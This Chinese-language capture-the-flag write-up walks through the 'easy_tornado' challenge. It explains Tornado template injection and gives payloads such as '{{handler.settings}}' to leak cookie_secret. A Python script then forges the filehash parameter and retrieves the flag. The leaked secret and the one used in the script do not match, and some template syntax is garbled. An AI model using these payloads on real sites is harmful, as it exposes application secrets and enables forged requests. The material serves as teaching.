[护网杯 2018]easy_tornado WriteUp – buu刷题笔记(超级详细!)

[护网杯 2018]easy_tornado

打开题目后,首先发现3个超链接

图片[1]-[护网杯 2018]easy_tornado WriteUp – buu刷题笔记(超级详细!)-安全小天地

依次查看文件内容

flag.txt

/flag.txt
flag in /fllllllllllllag

welconme.txt

/welcome.txt
render

hints.txt

/hints.txt
md5(cookie_secret+md5(filename))

网址里有参数filename和filehash推测这里flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。

 变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。

  filename知道了,cookie_secret在哪呢?hints提示render

 又根据题目easy_tornado可推测是服务器模板ssti注入。

扩展:SSTI注入

SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML
注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql
注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2
mako tornado django,php的smarty twig,java的jade
velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。

tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

那我们开始初步尝试:

/file?filename=/fllllllllllllag&filehash={{1}}

Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {undefined{ }}, e.g. {undefined{ items[0] }}.

得到关键报错信息:

图片[2]-[护网杯 2018]easy_tornado WriteUp – buu刷题笔记(超级详细!)-安全小天地

模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入。

但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。

当我构造的payload为:error?msg={undefined{2*2}}的时候,回显的结果是orz。因此我们可以猜测出,此处是出现了过滤。

此时我们需要找的是cookie_secret,搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret,Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
此时构造payload:

http://0e3925c2-38e3-400f-9d98-78e96f769c8d.node4.buuoj.cn:81/error?msg={{handler.settings}}

得到cookie:052130c3-464f-42fb-a144-27783cb962df

{\'autoreload\': True, \'compiled_template_cache\': False, \'cookie_secret\': \'052130c3-464f-42fb-a144-27783cb962df\'}

此时的payload应该就是如下通过md5的结果:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

下面贴上脚本

import hashlib


def md5value(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()


def mdfive2():
    filename = \'/fllllllllllllag\'
    cookie = r\"73e3eafa-153d-4145-a916-c1e8b3026948\"
    print(md5value(cookie + md5value(filename)))

mdfive2()

得到计算后的值:0ac10ed83b23b10cd7d71467a409506b

此时的payload为

http://0e3925c2-38e3-400f-9d98-78e96f769c8d.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=0ac10ed83b23b10cd7d71467a409506b

最后flag为flag{e7290ba5-8c47-4c17-b46a-c9aca33dc210}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容